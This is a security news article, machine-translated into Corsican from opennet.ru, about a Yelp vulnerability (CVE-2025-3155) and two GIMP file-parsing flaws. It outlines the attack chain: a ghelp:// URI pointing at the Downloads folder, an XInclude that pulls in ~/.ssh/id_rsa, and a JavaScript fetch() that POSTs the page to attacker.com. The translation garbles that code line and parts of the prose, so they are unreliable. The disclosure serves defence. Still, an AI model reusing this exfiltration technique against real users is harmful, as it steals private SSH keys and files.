Una vulnerabilità (CVE-2025-3155) hè stata scuperta in Yelp, u navigatore predefinitu per l'aiutu di GNOME, chì permette l'esecuzione arbitraria di codice JavaScript quandu si aprenu file di pagina appositamente creati. L'esecuzione di tali script permette di mandà i file di l'utente à u servitore di l'attaccante. Pudete seguità i patch per e distribuzioni affettate nantu à e pagine seguenti: Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.
In GNOME, un URI "ghelp://" hè registratu per apre i fugliali d'aiutu, chì hè risoltu via una chjama Yelp. Per fà un attaccu, l'attaccante hà bisognu di caricà u so schedariu index.page nant'à u sistema di l'utilizatore. Per esempiu, pudete ingannà qualchissia per scaricà un schedariu per mezu di un navigatore clicchendu nantu à un ligame nantu à u situ di l'attaccante. Una volta chì u schedariu hè telecaricatu, l'attaccante pò inizià l'apertura di stu documentu ridirigendu u navigatore da a so pagina à l'URL ghelp://» cù u percorsu versu u cartulare induve u schedariu hè telecaricatu. Per esempiu, "ghelp:///proc/self/cwd/Downloads", induve u percorsu "/proc/self/cwd" hè assuciatu à u cartulare di travagliu di u prucessu attuale (quandu si esegue yelp, questu serà u cartulare principale di l'utente).
A vulnerabilità hè causata da l'usu di u furmatu Mallard basatu annantu à XML in i fugliali di pagina. Stu furmatu permette d'inserisce u cuntenutu di altri fugliali in u documentu aduprendu u mecanismu XInclude. Per rende i fugliali di pagina, Yelp li cunverte da XML à HTML aduprendu XSLT (yelp-xsl), è dopu li visualizza aduprendu u mutore WebKitGtk. L'idea hè di injectà JavaScript in u fugliale HTML risultante è aduprà stu JavaScript per mandallu à servitore cuntenutu sustituitu via XInclude.
A sustituzione JavaScript hè sfruttata da u fattu chì XSLT copia certi elementi in HTML senza analizà, per esempiu, trasferisce l'elementu interu è tuttu u cuntenutu integratu. Cusì, per a trasmissione à l'esternu servitore Per creà u schedariu "~/.ssh/id_rsa", basta à inserisce lu in u documentu di pagina aduprendu a direttiva "include":
Dopu aghjunghje l'elementu via Chjamata JavaScript cù codice per mandà una dumanda POST à un servitore esternu aduprendu a funzione fetch(): carica=_=>recuperà("http://attacker.com/",{metodu:"POST",corpu:documentu.body.outerHTML,modu:"no-cors"})
Inoltre, si ponu nutà duie vulnerabilità (CVE-2025-2761, CVE-2025-2760) in l'editore graficu GIMP, chì portanu à l'esecuzione di u codice di l'attaccante quandu l'utente apre immagini appositamente preparate in i formati XWD è FLI. E duie vulnerabilità sò causate da a mancanza di una verificazione adatta di a dimensione di i dati copiati in u buffer durante l'analisi di u cuntenutu di u schedariu. E vulnerabilità sò state corrette in GIMP versione 3.0.0.
Source: opennet.ru
